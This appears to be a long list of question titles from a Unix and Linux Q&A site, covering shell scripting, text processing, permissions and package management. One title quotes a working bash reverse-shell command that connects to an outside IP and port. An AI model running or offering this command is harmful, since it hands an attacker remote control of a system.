Is there a way to make bash recognize aliases with prefixes


Why is using a shell loop to process text considered bad practice?


How to create a script that merges two files to get a specific output in the korn shell?


Why can't I remove the empty directory with username www-data?

I can't remove a directory tree with rm -rf


Customizing bash shell: Bold/color the command


Resizing/Processing only images in folder larger than specified height?

Use mogrify to resize large files while ignoring small ones


Why is there a file called [ in my /usr/bin directory?

`test` and `[` - different binaries, any difference?


How to make mksh for loop go from 1 to N

Writing a character N times using the printf command


prevent a command from sending both stdout & stderr to any terminal or file


Find processes reacting to a given keybinding

Manipulating X key and pointer grabs on the command line


Count & sum no. of occurrences of each unique line in a file

sum pair of columns based on matching fields


Why does find -mtime +1 only return files older than 2 days?


How to write startup script for Systemd?


Why, by design, are group permissions ignored for the owner of a file?

Is there a reason why 'owner' permissions exist? Aren't group permissions enough?


How to display the Linux kernel command line parameters given for the current boot?


How can I take screenshot in BlackArch Linux?


Always answer Yes to replace package Arch Linux

Pacman option to assume "yes" to every question?


bash + how to calculate very long numbers in bash?

How to do integer & float calculations, in bash or other languages/frameworks?


Find the line number which contains the pattern using custom regex delimiter


Can’t find file to patch at input line 3

How can I apply a -p0 patch from any working directory?


How do I set a user environment variable? (permanently, not session)


Remount squashfs root filessytem read-write

Mounting a squashfs filesystem in read-write


How to add repository from shell in Debian?


What happens when a tmpfs volume is full and swap is full? Is Linux's OOM-killer involved?

What sets the size of tmpfs? What happens when its full?


Elegant way to prevent command substitution from removing trailing newline

Where has the trailing newline char gone from my command substitution?


How can i find out what is taking space on my system

How to understand what's taking up disk space?


Moving files modified after a specific date

How to get only files created after a date with ls?


What determines the path where the system searches for a file?


What are the steps of this command using ; || and &&

What are the shell's control and redirection operators?


How do I send commands to a REPL before handing back to interactive mode?

How to send text to a command and THEN read from terminal


How to ensure that string interpolated into `sed` substitution escapes all metachars


splitting file based on values in specific column


Debian 9.4-- .profile not read on bash login

debian : read order of bash session configuration files inconsistent


Sed to merge lines that are delimited with a token

Replace comma with newline following with just a command and space


How do I run 32-bit programs on a 64-bit Debian/Ubuntu?


need to join only certain lines of a xml file together

Merge lines between keywords into one-line comma separated values


Different size of file from /dev/zero and /dev/urandom

Why does dd from /dev/random give different file sizes?


What is th difference betwen stat -c %B and stat -c %o?

Difference between block size and cluster size


How to format floating point number with exactly 2 significant digits in bash?


How do I run .c file from the command line


How reliable is the process data in /proc/*?

What happens when I run the command cat /proc/cpuinfo?


Use sed to replace string but avoid replacing when it is a substring

Search and replace strings that are not substrings of other strings


Find command to list the directory names which consists only of "numbers" (0-9)

Regex that matches only dirnames with integers and dots


Search for text files where two different words exist (any order, any line)


What kinds of executable formats do the files under /proc/sys/fs/binfmt_misc/ allow?


How to type French quotation marks on US-Intl layout?


Why does cd need execution permission of a directory?

Execute vs Read bit. How do directory permissions in Linux work?


What is command substitution in a shell?

What does ` (backquote/backtick) mean in commands?


Which version of Debian is Ubuntu 18.04 based on?

How can I find out what version of Debian a particular version of Ubuntu is based on?


Use sed to append a file into another file


How to backup programs before upgrading Debian?

How to create a list of installed packages for easy/automatic reinstall after disk is formatted


Executing command for each newline separated

How can I run a specific command for each find result?


Can I make a boot USB and use the space remaining on the USB for general file storage?


How to maintain a command from terminal running?

Keep processes running after SSH session disconnects


How to prefix any output in a bash script?

How to capture ordered STDOUT/STDERR and add timestamp/prefixes?


"which" command doesn't match program being executed

How do I clear Bash's cache of paths to executables?


.bashrc history command not working when new terminal window opened

Preserve bash history in multiple terminal windows


How to selectively join lines starting with a pattern

How to join a line with a pattern with the next line with sed?


Cannot complete upgrade of Debian Buster to Bullseye

Full-upgrade to Debian Testing fails due to libc6-dev : Breaks: libgcc-8-dev (< 8.4.0-2~) but 8.3.0-6 is to be installed


Why don't shell builtins have proper man pages?


How to group files from find command into a single line where each file is inside double quotes?

How to use "cat" command on "find" command's output?


Network manager create wifi "access point"

Create wireless access point and share internet connection with nmcli


Command under /snap/bin cannot be found in terminal, despite it being in the PATH

How to run a specific program as root without a password prompt?


rsync a file from serverC to serverA through serverB


Shell : Checking if a string contains a specified character

Shell script throws a not found error when run from a sh file. But if entered manually the commands work


How to do integer & float calculations, in bash or other languages/frameworks?


How to make sudo not expire while script is running

How to temporarily disable sudo credentials timestamp timeout?


Passing a parameter with quotes to a shell script

Why does my shell script choke on whitespace or other special characters?


Is there a command or program can add line number to display by pipe?


Bash script to relay another script's output

Execute a command once per line of piped input?


How do I extract portion of a log file given the delimiters and a word contained in between?

printing a block of text that matches a pattern


How to properly escape whitespaces in filenames for ffprobe with bash


Add a list of values of column A and B separated by space and show the summation result

How to sum each column and print column name and column sum using awk?


Wildcards: How to exclude a string? (Does not contain)


cut empty lines from a file (bash script)

How to remove blank lines from a file (including tab and spaces)?


File cannot be executed even after modifying $PATH

Trying to add a directory with various scripts to my PATH, but it is not running the script when called from outside the directory


"grep string | grep string" with awk without pipe

How to run grep with multiple AND patterns?


while read loop not working inside alias


How do I use grep to search for the string "-1"


I want to terminate a python script if it doesn’t output anything to the terminal in 2 min


How to copy a file to a path with a space in it in Bash Script?

Why does my shell script choke on whitespace or other special characters?


How to handle with command to execute only it's subdirectory?

What is the option '-mindepth' doing in this command?


Why 2 ExecStart are needed in systemd override?


Why does sending a process to background set $? to a non-zero value?

Why does bash set $? (exit status) to non-zero on Ctrl-C or Ctrl-Z?


linux sorting of lists using the last parts using sort command


AND and OR operator not working as expected

bash chained logical operator execution order, lazy evaluation


Writing to same file as part of a for-loop generates an empty file

How can I use a file in a command and redirect output to the same file without truncating it?


What does '>/dev/null 2>&1' mean in this article of crontab basics?


how to choose between two lines number in linux command line


'compgen' appears to have undocumented parameter '--', can I rely on it being present across systems?

Where is the `--` (double dash) argument documented?


Why does `kill -L` work in `bash` but not in `zsh`

What is the difference between a builtin command and one that is not?


Bash history seems incomplete or not syncing between terminals

Preserve bash history in multiple terminal windows


How can the order of execution in the shell as it relates to redirection be upset about 1 time out of a 1000 on my system?


When we use mv command, what changes take place in HDD?


Using awk and local variable for filtering


Check if a filedescriptor refers to a deleted file (in Bash)

Why bash "read -t 0" does not see input?


How to integrate mv command after find command?


adding a string with spaces as an element to array

How do I test if an item is in a bash array?


Application started by Udev rule closes after 4 seconds

How to run long time process on Udev event?


Extracting All Picture Files From a Bunch of Folders


How can I handle two separate file part as one (mount, virtual join, etc)?

A virtual file containing the concatenation of other files


Why output from `stty -a < /dev/pts/0` on pts/1 is different than `stty -a` on pts/0?

Why do the terminal attributes look different from outside the terminal?


Is there any way to recover files from the informations in `/proc`?

recovering deleted file held open by apache?


How do I turn off line wrap in Cygwin terminal?


How can I display only the first screenfull of output, including all terminal colours, and lines that will be wrapped?


Resetting Debian Password without restarting at all?


How do I assign a value to a BASH variable iff that variable is null/unassigned/falsey?

Using "${a:-b}" for variable assignment in scripts


Is there is a way to exclude nested subdirectory specified by a path to that dir from grep recursive search?


What is the buffers column in the output from free?


How to get those lines which have higher length among all the lines in the file using awk command

How to print the longest line in a file?


For a given string(2 or 3 word) in a .txt file and print the whole line.

Why does my shell script choke on whitespace or other special characters?


What happens if a Linux distro is installed with no swap and when it’s almost out of RAM executes a new application?

Will Linux start killing my processes without asking me if memory gets short?


list all the files/directories created by a specific user


Is it possible to stop a shutdown command?


Set kernel.sysrq = 1 in /etc/sysctl.d/10-magic-sysrq.conf using command?

Edit file based on existence of a string


redirect to the same file as the source file processed by the command


Script to change current directory (cd, pwd)


curl with Umlaut causes "JSON parse error: Invalid UTF-8 middle byte 0x22"


How do I make my bash login session "autosave" its history?

How to protect against purge of bash history?


How do i limit the amount of time a python script runs


Brackets in if condition: why am I getting syntax errors without whitespace?


how to delete privious year june files from the list

How to get the difference between modified date and current date in shell script?


How can I run a job every 2 minutes through crontab in Linux?

Create cron jobs to repeat every X units of time starting on an arbitary unit


Why am I getting "No such file or directory" when I try to execute a binary?

Linux executable fails with "File not found" even though the file is there and in PATH


Timestamp retrived with `date -r file` does not fit the time order of commands


determining path to sourced shell script


What are these three extra chars and why do they cause such a strange error?


Why can't `lsof` report some open port's information?

How to identify a process which has no pid?


Looping through a file with two columns and reading those two columns

FOR loop: pass 2 variables from a file simultaniously


Run A Script Every X Minutes for Y Minutes

Shell: is it possible to delay a command without using `sleep`?


What is the exact difference between a 'terminal', a 'shell', a 'tty' and a 'console'?


How to store the output of calculation to variable using bash script

How to do integer & float calculations, in bash or other languages/frameworks?


redirect awk exec results to another folder


What do empty curly brackets mean in bash?

Understanding find(1)'s -exec option (curly braces & plus sign)


why `nmap 192.168.1.97` returns less services than `nmap 127.0.0.1`?

Difference between `nmap local-IP-address` and `nmap localhost`


Running command on each line of output immediately


Why doesn't root need the password to run "sudo" even when "NOPASSWD:ALL" isn't written in /etc/sudoers

Why can `root` run any command as any user without providing password?


How to find where a linux package has been installed

How can I list all files which have been installed by an APT package?


Why mkdir with ssh doesn't want create longname dir?

Quoting in ssh $host $FOO and ssh $host "sudo su user -c $FOO" type constructs


The repository jessie-backports Release does no longer have a Release file

Failed to fetch jessie backports repository


Run Rsync for multiple files in parallel from 2 different directories and find elapsed time for each file and all files

GNU parallel vs & (I mean background) vs xargs -P


How to get awk to do regex on column variable


W: Failed to fetch http://deb.debian.org/debian/dists/jessie-updates/main/binary-amd64/Packages 404 Not Found [IP: 151.101.140.204 80]


Bash - print lines of textfile in random order


Get exit status of process that's piped to another


Setting environment variable before program name

What is this shell/Bash syntax: someVariable=someValue someCommand


POSIX compliant way of writing conditional operators

How to stop a script from running if it's not root (and echo "Not running as root! Exiting...")


Why is zsh ignoring my -f switch when removing files?


Getting a [[01: command not found error at the if statement line

Why are bash tests so picky about whitespace?


How can I run a script on keyboard power key press with systemd?

How to change Power button shutdown action to run a script under systemd


How to pass a folder as argument to the executing script?

How can I pass a command line argument into a shell script?


Is there a way to reliably check that systemd supports --user?

How do I setup user autostart and properly configure systemd user services?


GNU `find` issue : `find -name` isn't recursive when pattern is found in current directory


How to tell if a command executed by `exec` runs successfully or not?


Replace string in a line, where the line is inputed by a variable


How do I create multiple files names from list.txt in bash also change the text of that newly created file?

How do I create multiple files names from list.txt in bash?


Dual Booted PC skips Boot Menu, directly boots Linux Mint

No grub menu after Ubuntu install, booting directly into Ubuntu


chmod 001 or 111? Unix Permissions for executable files question

Understanding UNIX permissions and file types


Processing parameters with * passed to unix

Why does my shell script choke on whitespace or other special characters?


Is there a command line tool that could connect to wifi and takes ssid and pass as arguments?

How to connect to wifi from command line?


How to identify the caller of a (transient) executable?

Is there an easy way to log all commands executed, including command line arguments?


How to view parts of a window limited by screen resolution?

How to quick move+resize a window using ALT key+Mouse on Ubuntu Mate 15.04?


How to burn .zip image to SD card from command line?

How to unzip and dd a disk image to an SD Card with a single command?


Unix - can i make the command line readable?

Customizing bash shell: Bold/color the command


What does it mean to have a $"dollarsign-prefixed string" in a script?


Why is Brace expansion with variables not working as expected?

Use variable inside bash brace expansion


Combine two command defined as String in variable and run as one

How can we run a command stored in a variable?


Why do newer versions of GNU `ls` have different output in command substitution when dealing with newlines?

Output from ls has newlines but displays on a single line. Why?


How to delete the directory wih special names in linux?

How to remove a file with two words separated by a space in the shell?


Why this positive lookahead regex 'string.*?(?= )' doesn't work in sed?


df not recognizing partition being resized?

How do I resize partitions and filesystems on them?


How to compare 2 strings in UNIX shell script?

Brackets in if condition: why am I getting syntax errors without whitespace?


Moving contents of current directory up one level and overwriting if exists recursively

How to move and overwrite subdirectories (and files) to parent directory?


Why does my shell script choke on whitespace or other special characters?


Reading lines from a file with bash: for vs. while


Can tar split and write and read volume files from FAT32 media?

Create a tar archive split into blocks of a maximum size


.bash_profile not sourced when running su


Using the * variable in a shell script to to refer to all files in a folder


Why is there no apparent clone or fork in simple bash command and how it's done?

Why (...) doesn't spawn a new child process when run in background?


How to re-run the case statement if the input is invalid?

How to repeat prompt to user in a shell script?


Why can't I login on the remote computer without a password after using SSH-KEYGEN command?


Linux Guest in VMware Workstation: How to map NIC in Guest OS to different VMnet?


Replacing two patterns in a text files at the same time

Cleanly swap all occurences of two strings using sed


I am getting this errror when trying to install the newest version of Python 3. Any ideas on how to fix it?

configure: error: C compiler cannot create executables


How to disable IPv6 in Debian when sysctl.conf and GRUB_CMDLINE_LINUX doesn't work?


is there any difference between /usr/bin/poweroff and /usr/bin/shutdown?

What is the difference between these commands for bringing down a Linux server?


What is the difference between the Bash operators [[ vs [ vs ( vs ((?


Unable to make Grub2 boot Kali with LVM+LUKS

Grub not loading config file or booting into linux automatically


How to get bash not to treat [ as a test character when using command substitution?

What's the right way to quote $(command $arg)?


Extract data to string from json in bash


Command works in terminal but not in bash script

Copy files excluding x,y,z causing error in shell script


Need to move the last line of the file to second line of the same file


How to correctly store a newline character in a (POSIX) shell variable?

How can I set an environment variable which contains newline characters?


How exactly a 'shutdown -h' “HALT” differ from “normal shutdown” in linux

What's the difference between poweroff and halt?


How to find last occurrence of pattern and print all lines following the last occurance

Getting text from last marker to EOF in POSIX.2


Combine text and add blank line before each file

Concatenate multiple files with two blank lines as delimiter?


A program's output seems to be neither stdout nor stderr?


How can I print lines containing 3 words


How to capture the output of a Python program running in a subshell?


Using SED to add a line after match just echos entire file

How can I get my sed command to make permanent changes to a file?


Match multiple expressions in different lines with a logical AND using grep - all expressions must occur in the same textfile

Search for text files where two different words exist (any order, any line)


Add two comment lines to the top of a file

How to insert text before the first line of a file?


Why is rm allowed to delete a file under ownership of a different user?


Why does apt-get upgrade only return "The following packages have been kept back: python3-psycopg2" while apt update shows it can be upgraded (how)?

What does "The following packages have been kept back" mean?


Why bash does not spawn a subshell for simple commands?


How to fix stable Debian with hundreds of vulnerabilities

Am I at risk? How to interpret debscan vulnerability output?


Bash: Save result of command to a variable with ${} in its name


Bash function not parsing arguments when in defined in variable

Why does my shell script choke on whitespace or other special characters?


Command not found when script launched from cron

What is the 'working directory' when cron executes a job?


Can I get an explanation of this payload how its working? bash -i >& /dev/tcp/10.2.58.116/4444 0>&1

What are the shell's control and redirection operators?


How reliable is a system backup created with the dd command?

Using dd to clone a disk while mounted - risks?


(Ba)sh parameter expansion not consistent in script and interactive shell

Parenthesis works in bash shell itself, but not in bash script


Is 172.20.0.2/24 an ip address or subnet?

Difference between ip addr and ifconfig?


What does ! mean in the statement if [ ! -n "$1" ]

Usage of -n and -z in test built in - Bash


Set a environmental variable that includes a dash

Can shell variable name include a hyphen or dash (-)?


Does the shell go through all the directories in PATH every time?

How does lookup in $PATH work under the hood?


How can I paste an image from clipboard directly to a file?


Linux - why do the su and sudo binaries need to be set-UID root?


How can I create a fake microphone in Ubuntu 20.04?


How to make a systemd timer that runs every 2 days?


Appending files to initramfs image - reliable?


zip folder with spaces in bash script through arguments

Why does my shell script choke on whitespace or other special characters?


grep unexpected behavior when [0-9] pattern is given on ubuntu


SUID-bit not working for executables within /tmp directory


What is file system of linux? How does it work?


Why do you need space between cd and .. in change directory command?

On Linux terminals, why doesn't cd.. work?


Why is this bash array member expansion returning empty string?

Why is my variable local in one 'while read' loop, but not in another seemingly similar loop?


A program's output seems to be neither stdout nor stderr?

How can I get vsftpd version into shell variable?


Why does this echo call overwrite existing text?


What does this part mean in find command with -exec \{\}?

Usage of enclosing braces {} as arguments to commands and their options


Cannot run apt update in a Debian docker container

How to work around "Release file expired" problem on a local mirror


What am I doing wrong with my own alias in ~/.bash_aliases?

In Bash, when to alias, when to script, and when to write a function?


import environment variables in a bash script


Possible to do silent/unattended install of XFCE/KDE on debian?


Migrate an entire volume group LVM2 to RAID5


Using apt-cache to search for packages that include a specific program?

How to find out which (not installed) Debian package a file belongs to?


Why does my regular expression work in X but not in Y?


sed: -e expression #3, char 59: unknown option to `s'

How to replace a string with a string containing slash with sed?


Debian 10: `startx` on console terminal via ssh produces error

Error when trying to use Xorg: Only console users are allowed to run the X server?


<Crtl>-<arrow> is not different from <arrow> in virtual console

How do I jump to the next or previous word with CTRL + arrow keys in a console?


Linux: How to find the device driver used for a device?


How do you empty the buffers and cache on a Linux system?


Why inverted color changes to italic font in terminal

Why does tmux set TERM variable to screen?


Sed works standalone but not in command substitution

Why does my shell script choke on whitespace or other special characters?


is there a way to write a command with lots of options in a more legible\maintainable script format?


the command find not working with -name option in sh file

`find` with multiple `-name` and `-exec` executes only the last matches of `-name`


How to make programs VM-aware in Arch Linux?

Easy way to determine the virtualization technology of a Linux machine?


"2-dimension array" access in a loop in bash

How to use a variable as part of an array name


udev rule to run shell script works halfway through script, but doesn't complete


Can X11 and Wayland be used at the same time?


Printing all lines between two strings, with one as a user input, using sed

How can I use variables in the LHS and RHS of a sed substitution?


Linux Man Pages Folders Organization, Structure and Naming Convention


Why is it better to use "#!/usr/bin/env NAME" instead of "#!/path/to/NAME" as my shebang?


&> is running the command in the background instead of redirecting stdout/err?

POSIX compliant way to redirect stdout and stderr to a file


Why doesn't bash exit after command not found?

Why a long delay after command not found?


Is it possible to keep variable in multiple lines?

How to get output of variable with line breaks?


Terminal isn't reset to previous state when quitting a man page or vim on XFCE

Remnants of previously closed file displayed in terminal


Why a caret (^) and dollar sign ($) were chosen for beginning/end of line in regex?

When and why did ^ and $ take on their meanings of "beginning of line" and "end of line?"


Launching a separate/stand-alone application from a bash script


PID changing when using ps --no-header command


rsync filtering for .R extension not working

Rsync, include only certain files types excluding some directories


How to access /srv on the root partition when a different mount is mounted at /srv?

Access to original contents of mount point


Can I start Debian on a text virtual console in a virtual machine?

How to disable X server autostart in Debian Jessie?


List all extension-only files and folders

Why does "ls .*" show the contents of hidden directories?


how to let part of the regex (that is variable) be matched literally, ignoring control characters?

How to ensure that string interpolated into `sed` substitution escapes all metachars


How to delete every two lines after 3rd lines in a file contains very large number of lines?

How to print lines number 15 and 25 out of each 50 lines?


Is there an application that can run commands as a batch list?


how to set parameters when pipe bash script to bash

How to pass argument to script which is input to bash


bash: count the number of lines with unique initial value

Remove lines based on duplicates within one column without sort


What does it mean 'exit 1' for a job status after rclone sync

What does a "[1]+ Exit 1" response mean?


how does the expression b=${b:-"/data"} work


Bash script which would return the total space occupied by files inside a macOS diectory

Why does my shell script choke on whitespace or other special characters?


Is "/bin/[.exe" a legitimate file? [Cygwin, Windows 10]

What is the purpose of square bracket executable


How to pass multiple dynamic ! -path arguments to find

Exclude a list of directories from unix find command


Whether whitespace be defined as token in bash?

Command line processing - tokens and metacharacters


What does size of a directory mean in output of 'ls -l' command?


How is find's {} substitution pattern vulnerable to injection attack?

Is it possible to use `find -exec sh -c` safely?


crontab(1), crontab(5) what's the difference?


How can I store output in bash variable and suppress output to stderr and stdout?

How do I suppress stderr warning messages from a command inside command substitution?


What is a "name reference" variable-attribute?


How to use `which` on an aliased command?


Problem with appstreamcli when running apt update


How to get one core of a quad-ARM running without an OS


if statement calling functions and improper result

Brackets in if condition: why am I getting syntax errors without whitespace?


How to display lines in a file like ls displays files in a directory?


how to restrict users not to login to root by using sudo -i and sudo su - and other if exists


Linux Redhat 7 : How to set a shell option globally / system-wide?

How to permanently set environmental variables


Why does my job control fail inside a loop?

Why does a while loop stop after being suspended?


How to test whether a file uses CRLF or LF without modifying it?


Not able to switch to root user via command line

How to allow to run su instantly after I added the user to the appropriate group


"permission denied" when appending with echo, but working with vi

Group member cannot write even with write permission


How to intercept temporary files created by a program?

How to access temporary file straight after creation?


In bash, read after a pipe is not setting values


Save each line of a .csv file as a separate .csv

save each line from csv to new file with filename as the string contained in a specific column


How can a script run by a user logged-in over ssh, get the user's public key?

How to tell what method was used to log in (Password vs. Keyfile) from the bashrc


vim running in tmux permanently freezes when I accidentally type C-x s

How to unfreeze after accidentally pressing Ctrl-S in a terminal?


Finding filenames that end in a specific character with or without an extension

Using ls to find files that end in a character, ignoring extension


Interrupt signal names don't work over ssh: bad trap

Why do I get an error message when trying to trap a SIGINT signal?


How to download all images with the full resolution (i.e. svg) from a single wikipedia article

How can I download and save all the images shown in a web page?


how to mask email address joebl**@******.*** using sed/awk/grep/etc

How can I use (sed|awk) to mask an e-mail address with asterisks like <j******e@g***.com>


Find command that excludes paths listed in a file


How do we make sense of this find command?

Understanding the -exec option of `find`


how to delete files with specific date pattern

How to delete old backups based on a date in file name?


cli or command that convert the CSV file to XLS


With the command pv it is possible to clone a drive, how do I mount it?

Can I mount a partition from a full drive image?


Iptable forward interfaces for gateway machine


.swp file size increasing automatically, why?


dpkg error when running sudo apt-get upgrade

How to fix apt-get install / update not working on my Kali Linux


What is the meaning of '\1' in the right-hand side of a sed substitution?


What is the proper way to set SELinux context in an RPM .spec? (RHEL7 in 2018)


Why is uniq ignoring Unicode and lines with a single letter?


Bash - How to access a variable with a number suffix using a FOR loop

Use a variable reference "inside" another variable


What environment variables/shell variables do env and printenv show

If processes inherit the parent's environment, why do we need export?


Arch Linux - pactree : command not found

After pacman update, pacsearch is no longer installed


Can you nest remote calls using ssh in a bash script?

Multiple commands during an SSH inside an SSH session


How do I delete all lines in a file until it matches a string line pattern?

How to print all lines after a match up to the end of the file?


Run a command for a specified time and then abort if time exceeds


Displaying server information at login prompt (Ubuntu)


Understanding the exclamation mark (!) in bash


Make multiple edits with a single call to sed


How do I remove all files except some listed in a .csv file

How to delete file in folder except name files in list.txt?


Difference between >&/dev/null and &>/dev/null

what is the difference between >&2 and &>2


Python script has no stdout when started via i3blocks


How to extract a word that occurs between two keywords on a line?

extract value between two search patterns on same line


What is the difference between the Bash operators [[ vs [ vs ( vs ((?


Understanding Bash's Read-a-File Command Substitution


How can I reset all system file permissions in Debian 10?


Extract words from file using separate word list


Escape slash in variable for awk pattern

Pass shell variable as a /pattern/ to awk


How can I check if a reboot is required on Arch Linux?

Should I restart after a pacman upgrade?


How to create a deterministic tar.gz using tar?

Compressing two identical folders give different result


What is the difference between nohup and crontab?

cron Vs. sleep - which is the better one in terms of efficient cpu/memory utilization?


Executable not searched in order of $PATH in bash

How do I clear Bash's cache of paths to executables?


Store last bash command in bash variable

Is history expansion disabled in scripts?


Why does my shell script choke on whitespace or other special characters?


/bin/bash -c access to unexported variables

What is the difference between the "...", '...', $'...', and $"..." quotes in the shell?


How to loop over subdirectories and perform action while ignoring spaces in file names

Why is looping over find's output bad practice?


Bash while loop odd behaviour when running podman build command in the loop

Using while loop to ssh to multiple servers


When redirecting both stdout and stderr to a file, why must the redirection of stderr to stdout come last?


how to combine CSV files using cat .csv when one of the files has an NA value in cell A1

How to cat files together, adding missing newlines at end of some files


Why can't I get a unique list of shells?


awk conditional reformat redirect to infile

How to change a file in-place using awk? (as with "sed -i")


How to convert .txt to csv files in linux for bigdata?

Rename multiples files using Bash scripting


How to set path permently for fdisk command


How can I remove the BOM from a UTF-8 file?


#!/bin/bash -x or -v doesn't print to stdout on Ubuntu 20.04

What is the difference between running "bash script.sh" and "./script.sh"?


Cannot cd into directory because of permission, but directory is mine

Execute vs Read bit. How do directory permissions in Linux work?


Is it possible to read a .sh that was deleted from file system but is being executed?

How can I access a deleted open file on Linux (output of a running crontab task)?


move one file from /a/b/c/d.txt to /x/a/b/c/d.txt , Create full tree if not exist

Is there a --parents option for mv like for cp?


How to find files greater than a size in linux

Files greater than 1 GB and older than 6 months


find . - exec rm -rf {} and strange messages that the files were not found

Delete files and directories by their names. No such file or directory


Why does my grep search not find any matches when i loop through the pattern, but does when I write it in manualy?

What is `^M` and how do I get rid of it?


Why do I sometimes get repeatedly prompted with ">" in the terminal?


Why does a user session have to be completely closed when groups change?

I added a user to a group, but group permissions on files still have no effect


How do I know which Windowing system, display server and a window manager I am running on GNU/Linux?

How to know the types of windowing system, window manager and desktop environment of a Unix-like OS


Why does piping `mysql` to 'tail' change the output format?


How to get rid of "No match found" when running "rm *"


How do i split my tar.gz into multiple files in a single exec command?

Create a tar archive split into blocks of a maximum size


SSH jumphost does not work: "unkwnon option --J"

SSH port forwarding via jump host, ssh_config files and ONLY "ssh targethost"


Trouble with running cd with sudo as another user


Is there a way to change the process group of a running process?


database disk image is malformed with dnf on Fedora 29


Please explain in simple terms what the bitwise negation (~) operator does in bash


What's the difference between test command and individual conditional expression surrounded by [[]]?

Why does parameter expansion with spaces without quotes work inside double brackets "[[" but not inside single brackets "["?


Ambiguous output redirect error in find command

Inconsistency of stderr redirection between tcsh and other shells


Cannot run apt update in a Debian docker container


How to obtain the path of a Bash script, when it’s executed through a symlink?

Get path of current script when executed through a symlink


Execute commands against list of items in file in bash

How to parse each line of a text file as an argument to a command?


After adding a custom prompt in my .bashrc, the typing seems to repeat in the second line


Keep track of successful pin in Bandit CTF 24 to 25

Brute-force 4 digit pin with pass using shell script


Get count/histogram of occurrences of each word in document

Sort and count number of occurrence of lines


How can we run a command stored in a variable?


Systemd start laptop even when lid closed


Want to rename a files in folder with folder_1.txt folder_2.txt folder_n.txt name


Debian apt-get update says ''Unable to find expected entry"

Failed to fetch jessie backports repository


File corrupted, how do I reinstall packages on Debian?


Use bash EXIT trap to confirm or cancel ctrl+d

How can I keep control+d from disconnecting my session?


How to use a special character as a normal one in Unix shells?


Why is `which <command>` not picking up aliases?


Using grep to omit values given in a text file

Find pattern from one file listed in another


Understanding /dev and its subdirs and files


jessie-backports fix creates "has no installation candidate" error


Cant hide mouse cursor on embedded Debian

Hiding the mouse cursor dynamically when using the touchscreen


Prevent dangerous commands from going into bash history

Excluding some of the commands from being getting stored in bash history


Understanding the meaning of @ in package management

What does the '@' mean in front of the repo name in `dnf list`?


I need a command to know if a file is linking to another file

Determining if a file is a hard link or symbolic link?


How to run a command that involves redirecting or piping with sudo?


How to do integer & float calculations, in bash or other languages/frameworks?


cannot find correct iwlwifi-8265 version

Installing firmware blob for Intel Wifi USB pen


How do you add an old repository (Jessie) to the list of repositories apt-get can download from?


Cannot update software center repositories


Match text between two words with grep on multiple lines

grep'ping files for multiple strings (not necessarily on the same line)


Possible limiting factor during upgrade of Fedora VM - not disk or cpu or network?

`dd` is running at full speed, but I only see 20% disk utilization. Why?


Checking if an input number is an integer


Why doesn't the tilde (~) expand inside double quotes?


What is the maximum number of partitions in a hard drive

What's the limit on the no. of partitions I can have?


install Debian to NVMe SSD: unable to install GRUB in dummy

GRUB and LILO both fail to install to NVMe hard disk when installing Debian


How to swap columns in a tsv file, while keeping the tab delimiter?

How to replace the content of specific column with awk? Tab Delimited File


Shell script to convert the date format in a file

Change date and time format from csv file without using date -d


TeamViewer, open source replacement? (Connection created from remote device)

How do I work with GUI tools over a remote server?


How can I execute an equivalent of `head -z` when I don't have the `-z` option available?


tar -C with certain files in the direcory


how to rename a remote repo name so that it makes sense to you while git cloning


How to automatically run "ssh-agent bash" and "ssh-add" when log in?

How can I run ssh-add automatically, without a password prompt?


One-liner to generate an easily memorable password?

Four random words from a list with Perl!


Removing files containing, only, one row?

List (or move) only files with a certain number of lines?


doubts about the Linux filesystem hierarchy

Standard and/or common directories on Unix/Linux OSes


fastest way of searching for a text in a file (not file name) including the root volume

Recursive grep vs find / -type f -exec grep {} \; Which is more efficient/faster?


How to append a "/*" to the end of a variable with spaces and glob it?

Why does my shell script choke on whitespace or other special characters?


find - exec to remove directories with a dollar

Delete files and directories by their names. No such file or directory


How to rename multiple files into one name

How to rename multiple files in single command or script in Unix?


How do I stop/disable unattended upgrades from being launched automatically?

How is unattended-upgrades started and how can I modify its schedule?


Can an array be the first argument to a function?

What is the most correct way to pass an array to a function?


Mirror Linux disk writes to secondary disk

Can I get SSD rw performance while keeing data security if I combine SSD & HDD in btrfs RAID1


Padding trailing whitespaces in a string with another character


What exactly does "Illegal instruction (core dumped)" mean?


can i safely remove /var/log/jenkins/jenkins.log (/var: 100% used)

Is "find /var/log -type f -delete" safe on Debian 9?


How renaming files from figures to letters


Bash: search for keywords PDF files and return pages


Is it possible to list all files that are opened by a process


What's the difference between `en0` and `eth0`?

Why is my ethernet interface called enp0s10 instead of eth0?


Store a file on server with curl command using post method like scp?

using CURL to transmit binary data over POST parameter


X11 linux apps in xming - how to fix font and size?

How to configure fonts on a remote X connection (XDMCP vs. ssh)?


Why does a script without she-bang can be run?

Which shell interpreter runs a script with no shebang?


How do I get / available space with "df" and output it to a log file?


`set -e` doesn't abort the script when a sub-shell fails as part of `export`


Navigate to the folder in which a file resides linux

How to quickly cd to a command's directory after used the 'which' or 'type'


Why does egrep not find white space correctly in history listing?

Why does my regular expression work in X but not in Y?


Can I (safely) use pip inside a script run with sudo

How do I drop root privileges in shell scripts?


How to split larger zip file into smaller chunks using linux command


Prompt is not shown after running a script with an "exec" command redirecting stdout and stderr

The process substitution output is out of the order


Why "\s" format of PS1 variable displays "-" prefix?

what does the dash `-` before `bash` on 'command not found' errors mean?


Are all Linux applications run over shell?

How can I observer the desktop GUI interacting with the shell?


Delete files with similar content length


Connect to Wi-Fi with minimal installation of Centos

why can't this CentOS 7 server see wifi connections?


Is there a short-hand to return an arbitrary exit code from shell

Unix command that immediately returns a particular return code?


Use string substitution to combine array?

How to combine array items with string substitution?


Can't filter file extensions when the list is in a variable


Variables are deleted after the session is closed

How do I set a user environment variable? (permanently, not session)


Local variables in zsh functions and their return code

zsh: inconsistent error handling in assignments


How did Linux load this exe compiled with C#?


How is the bash subshell `sed` output to be put in the main shell environment variable

Why is my variable local in one 'while read' loop, but not in another seemingly similar loop?


How to include custom command options in a bash script with $1 and $2?


Issue launching vim using xargs -r on a fzf result

xargs and vi - "Input is not from a terminal"


changing IFS temporarily before a for loop

How do I use a temporary environment variable in a bash for loop?


Using the find utility within a simple function in .bashrc does not work. Why?


Alternative to Ctrl-R reverse search in bash


Script to change current directory (cd, pwd)


make a script non-readable but still executable

Is there any way I can obfuscate ".sh" shell script?


bash adds single quotes to > (redirect) during variable expansion (breaking my redirect)

Elegant solution to echo to either stdout or file in bash


Why does my shell script choke on whitespace or other special characters?


Bash Scripting - How does . work exactly?

What's the meaning of a dot before a command in shell?


Split file into multiple files based on field

